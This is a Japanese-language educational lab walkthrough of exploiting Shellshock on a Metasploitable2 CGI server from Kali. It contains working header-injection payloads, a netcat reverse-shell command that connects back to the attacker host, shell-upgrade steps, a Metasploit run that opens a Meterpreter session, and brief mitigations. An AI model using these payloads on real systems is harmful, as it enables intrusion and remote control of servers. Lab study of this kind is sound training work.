CVE-2014-6271(Shellshock)用の完全かつモダンなデモラボ。アーキテクチャ、悪用手順、Burp Suiteの使用方法、リバースシェル、対策、および完全なコマンドチートシートを含みます。
Shellshock(CVE-2014-6271)は、これまでに発見された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この欠陥はBashに影響を及ぼし、攻撃者は環境変数に細工したペイロードを注入するだけで任意のコマンドを実行できます。
このガイドでは、以下を使用した完全で再現可能なデモンストレーションを提供します:
これは、教育、研究、トレーニング、および一般的なサイバーセキュリティ意識向上のために設計されています。
| コンポーネント | 役割 | OS | IPアドレス | 主要サービス |
|---|
| Kali Linux | 攻撃者 | Kali Linux(最新版) | 192.168.1.4 | curl、Burp Suite、Netcat |
| Metasploitable2 | 脆弱なターゲットサーバー | Ubuntu Linux(MSF2) | 192.168.1.5 | Apache 2.2、CGIスクリプト、Bash |
| Apache mod_cgi | スクリプト実行 | MSF2上で動作 | n/a | CGI経由でBashを公開 |
| shellshock.sh | 脆弱なエントリーポイント | Bash CGI | n/a | 環境変数を表示 |
このシンプルな2ノード構成は、産業システムやIoTシステムに今も存在する多くのレガシー環境を反映しています。
Metasploitable2上で:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Kaliからスクリプトをテストします:
curl http://192.168.1.5/cgi-bin/shellshock.sh
環境変数が表示されるはずです。
Shellshockは、Bashが関数定義に似た環境変数を誤って解析したときに発生します。
次のような悪意のある変数:
() { :; }; /bin/bash -c "id"
関数自体は決して呼び出されないにもかかわらず、Bashに関数定義の後のコマンドを実行させます。
CGIアプリケーションは特に脆弱です。HTTPヘッダーが環境変数としてスクリプトに自動的に渡されるためです。
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
出力には次のものが含まれるはずです:
Vulnerable
uid=33(www-data)
これはリモートコード実行を確認します。
アクセス:
http://192.168.1.5/cgi-bin/shellshock.sh
リクエストをRepeaterに送信します。
User-Agentヘッダーを次のように置き換えます:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
次のように表示されるはずです:
BurpTest
uid=33(www-data)
Burp Suiteを使用すると、視覚的かつ教育的に脆弱性を確認できます。
Kaliでリスナーを起動:
nc -lvnp 4444
CGIスクリプト経由でリバースシェルをトリガー:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
シェルがKaliに接続し返します。
リバースシェル内で:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
セッションを一時停止します:
Ctrl + Z
Kali上で:
stty raw -echo; fg
Enterキーを押します。
これで以下が利用可能になります:
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
攻撃の主要段階を視覚的に解説するウォークスルーです。
| 説明 | 画像 |
|---|---|
| Nmapスキャン+Shellshockテストの出力 | ![]() |
| Burp Suite – 初期のShellshockリクエスト | ![]() |
| Burp Suite – ペイロード/ヘッダー注入 | ![]() |
| Kali(nc)で受信したリバースシェル | ![]() |
関数解析を正しく処理するバージョンにパッチを適用します。
レガシーCGIは不要なシステム全体のリスクをもたらします。
次のような不審なパターンを破棄します:
() { :; };
Webサーバーユーザー(www-data)の権限を制限します。
リバースシェルとデータの外部流出を阻止します。
最新のWAFシグネチャはShellshockを即座に検出します。
Bashプロセスを隔離し、意図しない動作をブロックします。
次のようなツールを使用します:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
シェル内:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
一時停止:
Ctrl + Z
Kali上:
stty raw -echo; fg
Enterキーを押します。
Metasploitは、組み込みモジュールを使用してShellshockを悪用する、プロフェッショナルで自動化された方法を提供します:
exploit/multi/http/apache_mod_cgi_bash_env_exec
この方法は高速で信頼性が高く、自動ペイロードステージング(例:Meterpreter)を提供します。
msfconsole
search shellshock
次のように表示されるはずです(他にもあります):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
ターゲットIPを設定します:
set rhosts 192.168.1.5
脆弱なCGIパスを設定します:
set targeturi /cgi-bin/shellshock.sh
KaliのIPを設定します:
set lhost 192.168.1.4
必要に応じてリスニングポートを設定します:
set lport 4444
確認します:
options
次のように表示されるはずです:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
成功すると:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
これで以下が利用可能になります:
meterpreter >
shell
次に:
id
hostname
期待される出力:
uid=33(www-data) gid=33(www-data)
metasploitable
MetasploitとShellshockを使用してリモートコマンド実行を取得しました。
このデモンストレーションは、単純なHTTPヘッダー操作、リバースシェル、CGIスクリプト実行、およびMetasploitの自動化を使用してShellshockをどのように悪用できるかを示しています。10年以上前の脆弱性であるにもかかわらず、Shellshockは以下の重要な教訓を今なお提供しています:
たくさんの愛を込めて:
オマーンのHaitham ❤️🇴🇲